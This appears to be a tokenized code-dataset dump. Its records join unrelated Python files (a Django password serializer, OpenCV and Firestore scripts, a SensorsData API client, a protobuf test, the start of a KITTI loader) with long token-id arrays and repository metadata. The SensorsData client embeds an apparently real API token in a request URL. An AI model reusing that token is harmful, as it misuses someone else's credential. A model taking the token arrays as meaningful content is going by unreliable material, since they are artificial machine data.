"""Validates a password and its confirmation."""
password = serializers.CharField(
help_text=_('<PASSWORD>'),
max_length=PASSWORD_MAX_LENGTH,
)
confirm_password = serializers.CharField(
help_text=_('<PASSWORD>'),
max_length=PASSWORD_MAX_LENGTH,
)
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
self.user = self.context['request'].user
def validate_password(self, password): # noqa: D102
if self.user.has_usable_password():
raise ValidationError(**response_codes.USER_HAS_PASSWORD)
return password
def validate(self, attrs): # noqa: D102
attrs = super().validate(attrs)
if attrs['password'] != attrs['confirm_password']:
raise ValidationError(**response_codes.PASSWORD_MISTMATCH)
return attrs
class PasswordUpdateSerializer(CheckValidPasswordMixin):
"""Validates a new password and its confirmation."""
new_password = serializers.CharField(
help_text=_('<PASSWORD>'),
max_length=PASSWORD_MAX_LENGTH,
)
confirm_password = serializers.CharField(
help_text=_('<PASSWORD>'),
max_length=PASSWORD_MAX_LENGTH,
)
def validate(self, attrs): # noqa: D102
attrs = super().validate(attrs)
# it's repeated for readability
if attrs['new_password'] != attrs['confirm_password']:
raise ValidationError(**response_codes.PASSWORD_MISTMATCH)
return attrs
class PasswordResetSerializer(UsernameOrEmailSerializer):
"""Serializer to request a password reset e-mail."""
redirect_uri = serializers.URLField(required=False)
class PasswordResetConfirmSerializer(Serializer):
"""Serializer to request and validate password."""
DEFAULT_PASSWORD_LENGTH = 128
token = serializers.CharField()
password = serializers.CharField(max_length=DEFAULT_PASSWORD_LENGTH)
| [
1,
396,
448,
29930,
29899,
14137,
29901,
23616,
29899,
29947,
448,
29930,
29899,
13,
13,
3166,
1791,
29918,
4468,
1053,
7797,
19427,
13,
3166,
1791,
29918,
4468,
29889,
11739,
29879,
1053,
15758,
362,
2392,
13,
3166,
1791,
29918,
4468,
29889,
15550,
19427,
1053,
18896,
3950,
13,
13,
3166,
11446,
29889,
10149,
29879,
1053,
2933,
29918,
18137,
13,
3166,
11446,
29889,
10149,
29879,
29889,
2754,
29889,
29894,
29896,
29889,
15550,
19427,
29889,
7507,
1053,
4911,
978,
2816,
9823,
17679,
13,
3166,
11446,
29889,
10149,
29879,
29889,
9794,
1053,
4911,
13,
3166,
9557,
29889,
13239,
29889,
3286,
18411,
1053,
318,
657,
726,
29918,
433,
1537,
408,
903,
13,
13,
25711,
17013,
29918,
12648,
29918,
19433,
353,
4911,
3032,
7299,
29889,
657,
29918,
2671,
877,
5630,
2824,
3317,
29918,
2848,
29871,
396,
694,
25621,
29901,
399,
7024,
29946,
29941,
29955,
13,
13,
1792,
29918,
949,
29918,
6194,
29918,
9621,
353,
313,
13,
1678,
525,
333,
742,
525,
6786,
742,
525,
1256,
29918,
2212,
1312,
742,
525,
4230,
29918,
7507,
742,
525,
1482,
29918,
5269,
742,
13,
1678,
525,
5630,
742,
525,
275,
29918,
9136,
1792,
742,
525,
275,
29918,
303,
3470,
742,
525,
275,
29918,
4925,
742,
525,
1256,
29918,
2212,
1312,
742,
13,
1678,
525,
5269,
29918,
6979,
742,
525,
6979,
742,
525,
13155,
742,
525,
1792,
29918,
17858,
6847,
742,
13,
29897,
13,
13,
13,
1990,
5399,
7211,
10048,
29924,
861,
262,
29898,
15550,
19427,
29889,
17679,
1125,
13,
1678,
9995,
7211,
1078,
263,
4800,
1213,
15945,
13,
13,
1678,
4800,
353,
7797,
19427,
29889,
27890,
29898,
13,
4706,
1371,
29918,
726,
29922,
29918,
877,
29966,
25711,
17013,
29958,
5477,
13,
4706,
4236,
29918,
2848,
29922,
25711,
17013,
29918,
12648,
29918,
19433,
29892,
13,
1678,
1723,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
334,
5085,
29892,
3579,
19290,
1125,
13,
4706,
2428,
2141,
1649,
2344,
1649,
10456,
5085,
29892,
3579,
19290,
29897,
13,
13,
4706,
1583,
29889,
3827,
353,
1583,
29889,
4703,
29889,
657,
877,
3827,
742,
6213,
29897,
13,
4706,
1583,
29889,
1792,
353,
679,
5552,
29898,
1311,
29889,
3827,
29892,
525,
1792,
742,
6213,
29897,
13,
13,
1678,
822,
12725,
29918,
5630,
29898,
1311,
29892,
4800,
1125,
13,
4706,
565,
451,
1583,
29889,
1792,
29889,
3198,
29918,
5630,
29898,
5630,
1125,
13,
9651,
12020,
15758,
362,
2392,
29898,
1068,
5327,
29918,
18137,
29889,
1177,
26707,
29918,
25711,
17013,
29897,
13,
4706,
736,
4800,
13,
13,
13,
1990,
25280,
2697,
17679,
29898,
15550,
19427,
29889,
17679,
1125,
13,
1678,
9995,
7211,
1078,
263,
4800,
322,
967,
9659,
362,
1213,
15945,
13,
13,
1678,
4800,
353,
7797,
19427,
29889,
27890,
29898,
13,
4706,
1371,
29918,
726,
29922,
29918,
877,
29966,
25711,
17013,
29958,
5477,
13,
4706,
4236,
29918,
2848,
29922,
25711,
17013,
29918,
12648,
29918,
19433,
29892,
13,
1678,
1723,
13,
13,
1678,
9659,
29918,
5630,
353,
7797,
19427,
29889,
27890,
29898,
13,
4706,
1371,
29918,
726,
29922,
29918,
877,
29966,
25711,
17013,
29958,
5477,
13,
4706,
4236,
29918,
2848,
29922,
25711,
17013,
29918,
12648,
29918,
19433,
29892,
13,
1678,
1723,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
334,
5085,
29892,
3579,
19290,
1125,
13,
4706,
2428,
2141,
1649,
2344,
1649,
10456,
5085,
29892,
3579,
19290,
29897,
13,
13,
4706,
1583,
29889,
1792,
353,
1583,
29889,
4703,
1839,
3827,
13359,
1792,
13,
13,
1678,
822,
12725,
29918,
5630,
29898,
1311,
29892,
4800,
1125,
259,
396,
694,
25621,
29901,
360,
29896,
29900,
29906,
13,
4706,
565,
1583,
29889,
1792,
29889,
5349,
29918,
27979,
29918,
5630,
7295,
13,
9651,
12020,
15758,
362,
2392,
29898,
1068,
5327,
29918,
18137,
29889,
11889,
29918,
29950,
3289,
29918,
25711,
17013,
29897,
13,
4706,
736,
4800,
13,
13,
1678,
822,
12725,
29898,
1311,
29892,
12421,
29879,
1125,
29871,
396,
694,
25621,
29901,
360,
29896,
29900,
29906,
13,
4706,
12421,
29879,
353,
2428,
2141,
15480,
29898,
5552,
29879,
29897,
13,
4706,
565,
12421,
29879,
1839,
5630,
2033,
2804,
12421,
29879,
1839,
26897,
29918,
5630,
2033,
29901,
13,
9651,
12020,
15758,
362,
2392,
29898,
1068,
5327,
29918,
18137,
29889,
25711,
17013,
29918,
29924,
9047,
29924,
14789,
29897,
13,
4706,
736,
12421,
29879,
13,
13,
13,
1990,
25280,
6422,
17679,
29898,
5596,
7211,
10048,
29924,
861,
262,
1125,
13,
1678,
9995,
7211,
1078,
263,
716,
4800,
322,
967,
9659,
362,
1213,
15945,
13,
13,
1678,
716,
29918,
5630,
353,
7797,
19427,
29889,
27890,
29898,
13,
4706,
1371,
29918,
726,
29922,
29918,
877,
29966,
25711,
17013,
29958,
5477,
13,
4706,
4236,
29918,
2848,
29922,
25711,
17013,
29918,
12648,
29918,
19433,
29892,
13,
1678,
1723,
13,
13,
1678,
9659,
29918,
5630,
353,
7797,
19427,
29889,
27890,
29898,
13,
4706,
1371,
29918,
726,
29922,
29918,
877,
29966,
25711,
17013,
29958,
5477,
13,
4706,
4236,
29918,
2848,
29922,
25711,
17013,
29918,
12648,
29918,
19433,
29892,
13,
1678,
1723,
13,
13,
1678,
822,
12725,
29898,
1311,
29892,
12421,
29879,
1125,
29871,
396,
694,
25621,
29901,
360,
29896,
29900,
29906,
13,
4706,
12421,
29879,
353,
2428,
2141,
15480,
29898,
5552,
29879,
29897,
13,
4706,
396,
372,
29915,
29879,
10324,
363,
1303,
3097,
13,
4706,
565,
12421,
29879,
1839,
1482,
29918,
5630,
2033,
2804,
12421,
29879,
1839,
26897,
29918,
5630,
2033,
29901,
13,
9651,
12020,
15758,
362,
2392,
29898,
1068,
5327,
29918,
18137,
29889,
25711,
17013,
29918,
29924,
9047,
29924,
14789,
29897,
13,
4706,
736,
12421,
29879,
13,
13,
13,
1990,
25280,
27175,
17679,
29898,
20249,
2816,
9823,
17679,
1125,
13,
1678,
9995,
17679,
304,
2009,
263,
4800,
10092,
321,
29899,
2549,
1213,
15945,
13,
13,
1678,
6684,
29918,
5338,
353,
7797,
19427,
29889,
4219,
3073,
29898,
12403,
29922,
8824,
29897,
13,
13,
13,
1990,
25280,
27175,
16376,
3568,
17679,
29898,
17679,
1125,
13,
1678,
9995,
17679,
304,
2009,
322,
12725,
4800,
1213,
15945,
13,
13,
1678,
22236,
29918,
25711,
17013,
29918,
19433,
353,
29871,
29896,
29906,
29947,
13,
1678,
5993,
353,
7797,
19427,
29889,
27890,
580,
13,
1678,
4800,
353,
7797,
19427,
29889,
27890,
29898,
3317,
29918,
2848,
29922,
23397,
29918,
25711,
17013,
29918,
19433,
29897,
13,
13,
2
] |
Chapter01/03 Saving image using lossy and lossless compression.py | PCJimmmy/OpenCV-3-Computer-Vision-with-Python-Cookbook | 1 | 74212 | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
import argparse
import cv2
parser = argparse.ArgumentParser()
parser.add_argument('--path', default='../data/Lena.png', help='Image path.')
parser.add_argument('--out_png', default='../data/Lena_compressed.png',
help='Output image path for lossless result.')
parser.add_argument('--out_jpg', default='../data/Lena_compressed.jpg',
help='Output image path for lossy result.')
params = parser.parse_args()
img = cv2.imread(params.path)
# save image with lower compression - bigger file size but faster decoding
cv2.imwrite(params.out_png, img, [cv2.IMWRITE_PNG_COMPRESSION, 0])
# check that image saved and loaded again image is the same as original one
saved_img = cv2.imread(params.out_png)
assert saved_img.all() == img.all()
# save image with lower quality - smaller file size
cv2.imwrite(params.out_jpg, img, [cv2.IMWRITE_JPEG_QUALITY, 0])
| [
1,
18787,
4855,
29914,
2109,
29914,
6272,
3017,
29941,
13,
29937,
448,
29930,
29899,
14137,
29901,
23616,
29899,
29947,
448,
29930,
29899,
13,
13,
5215,
1852,
5510,
13,
5215,
13850,
29906,
13,
13,
16680,
353,
1852,
5510,
29889,
15730,
11726,
580,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
2084,
742,
2322,
2433,
6995,
1272,
29914,
29931,
2386,
29889,
2732,
742,
1371,
2433,
2940,
2224,
29889,
1495,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
449,
29918,
2732,
742,
2322,
2433,
6995,
1272,
29914,
29931,
2386,
29918,
510,
13120,
29889,
2732,
742,
13,
462,
1678,
1371,
2433,
6466,
1967,
2224,
363,
6410,
2222,
1121,
29889,
1495,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
449,
29918,
6173,
742,
2322,
2433,
6995,
1272,
29914,
29931,
2386,
29918,
510,
13120,
29889,
6173,
742,
13,
462,
1678,
1371,
2433,
6466,
1967,
2224,
363,
6410,
29891,
1121,
29889,
1495,
13,
7529,
353,
13812,
29889,
5510,
29918,
5085,
580,
13,
2492,
353,
13850,
29906,
29889,
326,
949,
29898,
7529,
29889,
2084,
29897,
13,
13,
29937,
4078,
1967,
411,
5224,
24221,
448,
16600,
934,
2159,
541,
8473,
1602,
3689,
13,
11023,
29906,
29889,
326,
3539,
29898,
7529,
29889,
449,
29918,
2732,
29892,
10153,
29892,
518,
11023,
29906,
29889,
7833,
16365,
29918,
29925,
9312,
29918,
21514,
1525,
13507,
29892,
29871,
29900,
2314,
13,
13,
29937,
1423,
393,
1967,
7160,
322,
7500,
1449,
1967,
338,
278,
1021,
408,
2441,
697,
13,
17314,
29918,
2492,
353,
13850,
29906,
29889,
326,
949,
29898,
7529,
29889,
449,
29918,
2732,
29897,
13,
9294,
7160,
29918,
2492,
29889,
497,
580,
1275,
10153,
29889,
497,
580,
13,
13,
29937,
4078,
1967,
411,
5224,
11029,
448,
7968,
934,
2159,
13,
11023,
29906,
29889,
326,
3539,
29898,
7529,
29889,
449,
29918,
6173,
29892,
10153,
29892,
518,
11023,
29906,
29889,
7833,
16365,
29918,
29967,
4162,
29954,
29918,
13356,
1964,
11937,
29892,
29871,
29900,
2314,
13,
2
] |
scripts/token_adder.py | jamestiotio/hostelhunt | 0 | 182657 | # Initial automation setup script to add tokens from text files to Firestore
# Created by <NAME> (2019)
# Import libraries
from google.cloud import firestore
import credentials
# Establish Firestore Client connection
db = firestore.Client()
# Parse data from text files and store as dictionaries
def parser(color):
colored_tokens = {}
for token in open(f"{color}_tokens.txt", "r"):
token = token.rstrip('\n')
colored_tokens[f'{token}'] = {
u'claimant': u'', u'claimed': False, u'hash': u'', u'first_hint': u'', u'second_hint': u'', u'third_hint': u''}
# Add dictionary to Firestore database (overwrite mode)
db.collection(u'tokens').document(f'{color}').set(colored_tokens)
# Add entries to Firestore database
for i in ['blue', 'green', 'red', 'yellow']:
parser(i)
| [
1,
396,
17250,
3345,
362,
6230,
2471,
304,
788,
18897,
515,
1426,
2066,
304,
14152,
22818,
30004,
13,
29937,
6760,
630,
491,
529,
5813,
29958,
313,
29906,
29900,
29896,
29929,
8443,
13,
30004,
13,
29937,
16032,
9562,
30004,
13,
3166,
5386,
29889,
9274,
1053,
13734,
22818,
30004,
13,
5215,
16140,
30004,
13,
30004,
13,
29937,
2661,
370,
1674,
14152,
22818,
12477,
3957,
30004,
13,
2585,
353,
13734,
22818,
29889,
4032,
26471,
13,
30004,
13,
30004,
13,
29937,
20969,
848,
515,
1426,
2066,
322,
3787,
408,
21503,
4314,
30004,
13,
1753,
13812,
29898,
2780,
1125,
30004,
13,
1678,
28684,
29918,
517,
12360,
353,
6571,
30004,
13,
1678,
363,
5993,
297,
1722,
29898,
29888,
29908,
29912,
2780,
2403,
517,
12360,
29889,
3945,
613,
376,
29878,
29908,
1125,
30004,
13,
4706,
5993,
353,
5993,
29889,
29878,
17010,
28909,
29876,
1495,
30004,
13,
4706,
28684,
29918,
517,
12360,
29961,
29888,
29915,
29912,
6979,
29913,
2033,
353,
3336,
13,
9651,
318,
29915,
29883,
8342,
424,
2396,
318,
29915,
742,
318,
29915,
29883,
13190,
2396,
7700,
29892,
318,
29915,
8568,
2396,
318,
29915,
742,
318,
29915,
4102,
29918,
29882,
524,
2396,
318,
29915,
742,
318,
29915,
7496,
29918,
29882,
524,
2396,
318,
29915,
742,
318,
29915,
22585,
29918,
29882,
524,
2396,
318,
4907,
8117,
13,
30004,
13,
1678,
396,
3462,
8600,
304,
14152,
22818,
2566,
313,
957,
3539,
4464,
8443,
13,
1678,
4833,
29889,
10855,
29898,
29884,
29915,
517,
12360,
2824,
3225,
29898,
29888,
29915,
29912,
2780,
29913,
2824,
842,
29898,
2780,
287,
29918,
517,
12360,
8443,
13,
30004,
13,
30004,
13,
29937,
3462,
9976,
304,
14152,
22818,
2566,
30004,
13,
1454,
474,
297,
6024,
9539,
742,
525,
12692,
742,
525,
1127,
742,
525,
29136,
2033,
29901,
30004,
13,
1678,
13812,
29898,
29875,
8443,
13,
2
] |
tests/fields/test_int64.py | Pr0Ger/protobuf3 | 9 | 164357 | <filename>tests/fields/test_int64.py
from unittest import TestCase
from protobuf3.fields.int64 import Int64Field
from protobuf3.message import Message
class TestInt64Field(TestCase):
def setUp(self):
class Int64TestMessage(Message):
a = Int64Field(field_number=1)
self.msg_cls = Int64TestMessage
def test_get(self):
msg = self.msg_cls()
msg.parse_from_bytes(b'\x08\xc0\xc4\x07')
self.assertEqual(msg.a, 123456)
def test_get_bounds(self):
msg = self.msg_cls()
msg.parse_from_bytes(b'\x08\xff\xff\xff\xff\xff\xff\xff\xff\x7f')
self.assertEqual(msg.a, 2 ** 63 - 1)
msg = self.msg_cls()
msg.parse_from_bytes(b'\x08\x80\x80\x80\x80\x80\x80\x80\x80\x80\x01')
self.assertEqual(msg.a, -(2 ** 63))
def test_get_negative(self):
msg = self.msg_cls()
msg.parse_from_bytes(b'\x08\xc0\xbb\xf8\xff\xff\xff\xff\xff\xff\x01')
self.assertEqual(msg.a, -123456)
def test_default_get(self):
msg = self.msg_cls()
self.assertEqual(msg.a, 0)
def test_set(self):
msg = self.msg_cls()
msg.a = 1337
self.assertEqual(msg.a, 1337)
def test_set_negative(self):
msg = self.msg_cls()
msg.a = -1337
self.assertEqual(msg.a, -1337)
def test_invalid_set(self):
msg = self.msg_cls()
def failure():
msg.a = '123'
def overflow():
msg.a = 2 ** 70
self.assertRaises(ValueError, failure)
self.assertRaises(ValueError, overflow)
| [
1,
529,
9507,
29958,
21150,
29914,
9621,
29914,
1688,
29918,
524,
29953,
29946,
29889,
2272,
13,
3166,
443,
27958,
1053,
4321,
8259,
13,
3166,
17814,
9721,
29941,
29889,
9621,
29889,
524,
29953,
29946,
1053,
3159,
29953,
29946,
3073,
13,
3166,
17814,
9721,
29941,
29889,
4906,
1053,
7777,
13,
13,
13,
1990,
4321,
2928,
29953,
29946,
3073,
29898,
3057,
8259,
1125,
13,
1678,
822,
731,
3373,
29898,
1311,
1125,
13,
4706,
770,
3159,
29953,
29946,
3057,
3728,
29898,
3728,
1125,
13,
9651,
263,
353,
3159,
29953,
29946,
3073,
29898,
2671,
29918,
4537,
29922,
29896,
29897,
13,
13,
4706,
1583,
29889,
7645,
29918,
25932,
353,
3159,
29953,
29946,
3057,
3728,
13,
13,
1678,
822,
1243,
29918,
657,
29898,
1311,
1125,
13,
4706,
10191,
353,
1583,
29889,
7645,
29918,
25932,
580,
13,
13,
4706,
10191,
29889,
5510,
29918,
3166,
29918,
13193,
29898,
29890,
12764,
29916,
29900,
29947,
29905,
21791,
29900,
29905,
21791,
29946,
29905,
29916,
29900,
29955,
1495,
13,
4706,
1583,
29889,
9294,
9843,
29898,
7645,
29889,
29874,
29892,
29871,
29896,
29906,
29941,
29946,
29945,
29953,
29897,
13,
13,
1678,
822,
1243,
29918,
657,
29918,
23687,
29898,
1311,
1125,
13,
4706,
10191,
353,
1583,
29889,
7645,
29918,
25932,
580,
13,
4706,
10191,
29889,
5510,
29918,
3166,
29918,
13193,
29898,
29890,
12764,
29916,
29900,
29947,
29905,
29916,
600,
29905,
29916,
600,
29905,
29916,
600,
29905,
29916,
600,
29905,
29916,
600,
29905,
29916,
600,
29905,
29916,
600,
29905,
29916,
600,
29905,
29916,
29955,
29888,
1495,
13,
4706,
1583,
29889,
9294,
9843,
29898,
7645,
29889,
29874,
29892,
29871,
29906,
3579,
29871,
29953,
29941,
448,
29871,
29896,
29897,
13,
13,
4706,
10191,
353,
1583,
29889,
7645,
29918,
25932,
580,
13,
4706,
10191,
29889,
5510,
29918,
3166,
29918,
13193,
29898,
29890,
12764,
29916,
29900,
29947,
29905,
29916,
29947,
29900,
29905,
29916,
29947,
29900,
29905,
29916,
29947,
29900,
29905,
29916,
29947,
29900,
29905,
29916,
29947,
29900,
29905,
29916,
29947,
29900,
29905,
29916,
29947,
29900,
29905,
29916,
29947,
29900,
29905,
29916,
29947,
29900,
29905,
29916,
29900,
29896,
1495,
13,
4706,
1583,
29889,
9294,
9843,
29898,
7645,
29889,
29874,
29892,
19691,
29906,
3579,
29871,
29953,
29941,
876,
13,
13,
1678,
822,
1243,
29918,
657,
29918,
22198,
29898,
1311,
1125,
13,
4706,
10191,
353,
1583,
29889,
7645,
29918,
25932,
580,
13,
13,
4706,
10191,
29889,
5510,
29918,
3166,
29918,
13193,
29898,
29890,
12764,
29916,
29900,
29947,
29905,
21791,
29900,
29905,
29916,
1327,
29905,
24660,
29947,
29905,
29916,
600,
29905,
29916,
600,
29905,
29916,
600,
29905,
29916,
600,
29905,
29916,
600,
29905,
29916,
600,
29905,
29916,
29900,
29896,
1495,
13,
4706,
1583,
29889,
9294,
9843,
29898,
7645,
29889,
29874,
29892,
448,
29896,
29906,
29941,
29946,
29945,
29953,
29897,
13,
13,
1678,
822,
1243,
29918,
4381,
29918,
657,
29898,
1311,
1125,
13,
4706,
10191,
353,
1583,
29889,
7645,
29918,
25932,
580,
13,
13,
4706,
1583,
29889,
9294,
9843,
29898,
7645,
29889,
29874,
29892,
29871,
29900,
29897,
13,
13,
1678,
822,
1243,
29918,
842,
29898,
1311,
1125,
13,
4706,
10191,
353,
1583,
29889,
7645,
29918,
25932,
580,
13,
13,
4706,
10191,
29889,
29874,
353,
29871,
29896,
29941,
29941,
29955,
13,
4706,
1583,
29889,
9294,
9843,
29898,
7645,
29889,
29874,
29892,
29871,
29896,
29941,
29941,
29955,
29897,
13,
13,
1678,
822,
1243,
29918,
842,
29918,
22198,
29898,
1311,
1125,
13,
4706,
10191,
353,
1583,
29889,
7645,
29918,
25932,
580,
13,
13,
4706,
10191,
29889,
29874,
353,
448,
29896,
29941,
29941,
29955,
13,
4706,
1583,
29889,
9294,
9843,
29898,
7645,
29889,
29874,
29892,
448,
29896,
29941,
29941,
29955,
29897,
13,
13,
1678,
822,
1243,
29918,
20965,
29918,
842,
29898,
1311,
1125,
13,
4706,
10191,
353,
1583,
29889,
7645,
29918,
25932,
580,
13,
13,
4706,
822,
10672,
7295,
13,
9651,
10191,
29889,
29874,
353,
525,
29896,
29906,
29941,
29915,
13,
13,
4706,
822,
11969,
7295,
13,
9651,
10191,
29889,
29874,
353,
29871,
29906,
3579,
29871,
29955,
29900,
13,
13,
4706,
1583,
29889,
9294,
29934,
1759,
267,
29898,
1917,
2392,
29892,
10672,
29897,
13,
4706,
1583,
29889,
9294,
29934,
1759,
267,
29898,
1917,
2392,
29892,
11969,
29897,
13,
2
] |
SADemo/SA_API.py | YueJZSensorsData/FirstDemo | 0 | 181262 | import requests
import json
def login():
data = {"username": "admin",
"password": "<PASSWORD>"
}
headers = {'Content-Type': 'application/json'} ## headers中添加上content-type这个参数,指定为json格式
response = requests.post(url='https://test-hechun.cloud.sensorsdata.cn/api/auth/login?project=yuejianzhong',
headers=headers,
data=json.dumps(data)) ## post的时候,将data字典形式的参数用json包转换成json格式。
return response
# print(response.json())
# json = json.dumps(response.text)
# print('\n')
# print(response.text)
def saapi():
data2 = {"measures": [{"event_name": "$AppStart", "aggregator": "unique"}], "unit": "day", "sampling_factor": 64,
"axis_config": {"isNormalize": False, "left": [], "right": []}, "from_date": "2019-03-19",
"to_date": "2019-03-25", "tType": "n", "ratio": "n", "approx": False, "by_fields": [], "filter": {},
"detail_and_rollup": True, "request_id": "1553596932966:761148", "use_cache": True}
headers = {'Content-Type': 'application/json'} ## headers中添加上content-type这个参数,指定为json格式
response = requests.post(
url='https://test-hechun.cloud.sensorsdata.cn/api/events/report?token=570cff04c9bc7b802d11abccd2035bb558e8b5ec221943c1e35b10ec269caed0&project=yuejianzhong',
headers=headers,
data=json.dumps(data2))
return response
# print(response.json())
# json = json.dumps(response.text)
# print(response.status_code)
# print('\n')
#
# print(response.text)
if __name__ == '__main__':
re = login()
print(re.text)
print('\n')
re1 = saapi()
print(re1.text) | [
1,
1053,
7274,
13,
5215,
4390,
13,
13,
13,
13,
1753,
6464,
7295,
13,
1678,
848,
353,
8853,
6786,
1115,
376,
6406,
613,
13,
9651,
376,
5630,
1115,
9872,
25711,
17013,
11903,
13,
9651,
500,
13,
13,
1678,
9066,
353,
11117,
3916,
29899,
1542,
2396,
525,
6214,
29914,
3126,
10827,
29871,
444,
9066,
30275,
31538,
30666,
30429,
3051,
29899,
1853,
30810,
30502,
31125,
30354,
30214,
31084,
30495,
30573,
3126,
31168,
30607,
13,
1678,
2933,
353,
7274,
29889,
2490,
29898,
2271,
2433,
991,
597,
1688,
29899,
354,
305,
348,
29889,
9274,
29889,
23149,
943,
1272,
29889,
18038,
29914,
2754,
29914,
5150,
29914,
7507,
29973,
4836,
29922,
29891,
434,
29926,
713,
17599,
549,
742,
13,
462,
632,
9066,
29922,
13662,
29892,
13,
462,
632,
848,
29922,
3126,
29889,
29881,
17204,
29898,
1272,
876,
29871,
444,
1400,
30210,
30594,
31974,
30214,
30998,
1272,
30578,
31259,
31305,
30607,
30210,
31125,
30354,
30406,
3126,
31473,
31415,
31640,
30494,
3126,
31168,
30607,
30267,
13,
1678,
736,
2933,
13,
13,
1678,
396,
1596,
29898,
5327,
29889,
3126,
3101,
13,
1678,
396,
4390,
353,
4390,
29889,
29881,
17204,
29898,
5327,
29889,
726,
29897,
13,
1678,
396,
1596,
28909,
29876,
1495,
13,
1678,
396,
1596,
29898,
5327,
29889,
726,
29897,
13,
13,
1753,
872,
2754,
7295,
13,
1678,
848,
29906,
353,
8853,
1004,
25414,
1115,
518,
6377,
3696,
29918,
978,
1115,
3908,
2052,
4763,
613,
376,
26193,
1061,
1115,
376,
13092,
9092,
1402,
376,
5441,
1115,
376,
3250,
613,
376,
13445,
10335,
29918,
19790,
1115,
29871,
29953,
29946,
29892,
13,
632,
376,
8990,
29918,
2917,
1115,
8853,
275,
19077,
675,
1115,
7700,
29892,
376,
1563,
1115,
19997,
376,
1266,
1115,
5159,
1118,
376,
3166,
29918,
1256,
1115,
376,
29906,
29900,
29896,
29929,
29899,
29900,
29941,
29899,
29896,
29929,
613,
13,
632,
376,
517,
29918,
1256,
1115,
376,
29906,
29900,
29896,
29929,
29899,
29900,
29941,
29899,
29906,
29945,
613,
376,
29873,
1542,
1115,
376,
29876,
613,
376,
3605,
601,
1115,
376,
29876,
613,
376,
14850,
1115,
7700,
29892,
376,
1609,
29918,
9621,
1115,
19997,
376,
4572,
1115,
24335,
13,
632,
376,
16432,
29918,
392,
29918,
1245,
786,
1115,
5852,
29892,
376,
3827,
29918,
333,
1115,
376,
29896,
29945,
29945,
29941,
29945,
29929,
29953,
29929,
29941,
29906,
29929,
29953,
29953,
29901,
29955,
29953,
29896,
29896,
29946,
29947,
613,
376,
1509,
29918,
8173,
1115,
5852,
29913,
13,
13,
1678,
9066,
353,
11117,
3916,
29899,
1542,
2396,
525,
6214,
29914,
3126,
10827,
29871,
444,
9066,
30275,
31538,
30666,
30429,
3051,
29899,
1853,
30810,
30502,
31125,
30354,
30214,
31084,
30495,
30573,
3126,
31168,
30607,
13,
1678,
2933,
353,
7274,
29889,
2490,
29898,
13,
4706,
3142,
2433,
991,
597,
1688,
29899,
354,
305,
348,
29889,
9274,
29889,
23149,
943,
1272,
29889,
18038,
29914,
2754,
29914,
13604,
29914,
12276,
29973,
6979,
29922,
29945,
29955,
29900,
29883,
600,
29900,
29946,
29883,
29929,
12328,
29955,
29890,
29947,
29900,
29906,
29881,
29896,
29896,
370,
617,
29881,
29906,
29900,
29941,
29945,
1327,
29945,
29945,
29947,
29872,
29947,
29890,
29945,
687,
29906,
29906,
29896,
29929,
29946,
29941,
29883,
29896,
29872,
29941,
29945,
29890,
29896,
29900,
687,
29906,
29953,
29929,
1113,
287,
29900,
29987,
4836,
29922,
29891,
434,
29926,
713,
17599,
549,
742,
13,
4706,
9066,
29922,
13662,
29892,
13,
4706,
848,
29922,
3126,
29889,
29881,
17204,
29898,
1272,
29906,
876,
13,
1678,
736,
2933,
13,
1678,
396,
1596,
29898,
5327,
29889,
3126,
3101,
13,
1678,
396,
4390,
353,
4390,
29889,
29881,
17204,
29898,
5327,
29889,
726,
29897,
13,
1678,
396,
1596,
29898,
5327,
29889,
4882,
29918,
401,
29897,
13,
1678,
396,
1596,
28909,
29876,
1495,
13,
1678,
396,
13,
1678,
396,
1596,
29898,
5327,
29889,
726,
29897,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
1678,
337,
353,
6464,
580,
13,
1678,
1596,
29898,
276,
29889,
726,
29897,
13,
1678,
1596,
28909,
29876,
1495,
13,
1678,
337,
29896,
353,
872,
2754,
580,
13,
1678,
1596,
29898,
276,
29896,
29889,
726,
29897,
2
] |
Estrutura_Decisao/pair_or_odd.py | M3nin0/supreme-broccoli | 0 | 22481 | <reponame>M3nin0/supreme-broccoli<filename>Estrutura_Decisao/pair_or_odd.py
num = int(input("Insira um numero para descobrir se este é par ou impar: "))
if num % 2 == 0:
print("Este numero é par")
else:
print("Este numero é impar")
| [
1,
529,
276,
1112,
420,
29958,
29924,
29941,
29876,
262,
29900,
29914,
12587,
10291,
29899,
6729,
617,
5079,
29966,
9507,
29958,
29923,
710,
329,
2002,
29918,
6185,
275,
6241,
29914,
18784,
29918,
272,
29918,
22861,
29889,
2272,
13,
1949,
353,
938,
29898,
2080,
703,
797,
1039,
336,
1922,
17910,
1702,
5153,
711,
12416,
409,
4404,
904,
610,
2123,
527,
862,
29901,
376,
876,
13,
13,
361,
954,
1273,
29871,
29906,
1275,
29871,
29900,
29901,
13,
12,
2158,
703,
29923,
1655,
17910,
904,
610,
1159,
13,
2870,
29901,
13,
12,
2158,
703,
29923,
1655,
17910,
904,
527,
862,
1159,
13,
13,
13,
2
] |
kitti_object.py | fnozarian/kitti_object_vis | 0 | 125722 | <gh_stars>0
""" Helper class and functions for loading KITTI objects
Author: <NAME>
Date: September 2017
"""
from __future__ import print_function
import os
import sys
import numpy as np
import cv2.cv2 as cv2
import kitti_util as utils
from kitti_util import Object3d
import argparse
import tqdm
from pathlib import Path
from bounding_box import bounding_box as bb
import logging
import mayavi.mlab as mlab
from viz_util import draw_lidar, draw_gt_boxes3d
from collections import defaultdict
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
ROOT_DIR = os.path.dirname(BASE_DIR)
sys.path.append(os.path.join(ROOT_DIR, "mayavi"))
max_color = 30
cbox = np.array([[0, 70.4], [-40, 40], [-3, 1]])
colors = utils.random_colors(max_color)
class KITTIDataset(object):
"""Load and parse object data into a usable format."""
def __init__(self, args):
"""root_dir contains training and testing folders"""
self.root_dir = args.dir
self.split = args.split
self.split_dir = os.path.join(self.root_dir, self.split)
self.args = args
lidar_dir_name = "velodyne"
image_dir_name = "image_02" if args.tracking else "image_2"
label_dir_name = "label_02" if args.tracking else "label_2"
calib_dir_name = "calib"
pred_dir_name = "pred"
depth_dir_name = "depth"
self.image_dir = args.image_dir if args.image_dir else os.path.join(self.split_dir, image_dir_name)
